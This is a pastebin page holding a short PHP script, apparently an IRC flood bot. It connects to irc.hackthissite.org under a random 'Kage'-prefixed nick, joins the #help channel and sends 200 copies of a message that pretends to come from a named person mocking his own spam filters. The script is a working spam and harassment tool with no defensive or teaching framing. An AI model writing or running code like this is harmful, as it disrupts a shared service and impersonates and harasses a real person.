PasteSite.Com

Recent Pastes

Sign Up!

PasteSite is open to the public, but with limited features. Register to be able to modify access rights, track your pastes and more...

Change the theme

If you prefer reading light text on a dark background to dark text on a light background, then you might want to try the dark theme.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
set_time_limit(0);
ignore_user_abort(TRUE);

$prefix = "Kage";
$chan = '#help';
$alpha = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
$count = count($alpha)-1;
$max = rand(7,12);
$init = 0;
$done = '0';
$nick = $prefix;
$times = '200';
$i=0;
$command = "privmsg #help :hey guys its me Al3x B4ker my spamfilters suck";

while($init < $max) {
	$nick .= $alpha[rand(0,$count)];
	$init++;
}

$fp = fsockopen('irc.hackthissite.org', '6667');
fwrite($fp, "USER {$nick} {$nick}_ {$nick}__ :{$nick}\r\n");
fwrite($fp, "NICK {$nick}\r\n");
echo "\nUSER {$nick} {$nick}_ {$nick}__ :{$nick}\r\nNICK {$nick}\r\n";
while($fp) {
	$fn = fgets($fp);
	echo $fn;
	$data = explode(" ", $fn);
	if($data[0] == "PING") { 
		fwrite($fp, "PONG ".trim($data[1])."\r\n");
		echo "PONG {$data[1]}\n";
		$conf='con';
	}
	if($done == '0' && $conf=='con') {
		fwrite($fp, "JOIN #help\r\n");
		unset($done);
		$done = 'yes';
	}
	while($i < $times && $done == 'yes' && $conf == 'con') {
		fwrite($fp, $command."\r\n");
		$i++;
	}
	if($i > $times) {

		die("Done.");
	}
}
?>

Reply to This Paste

(leave blank to make this paste permanent)
(if set as private)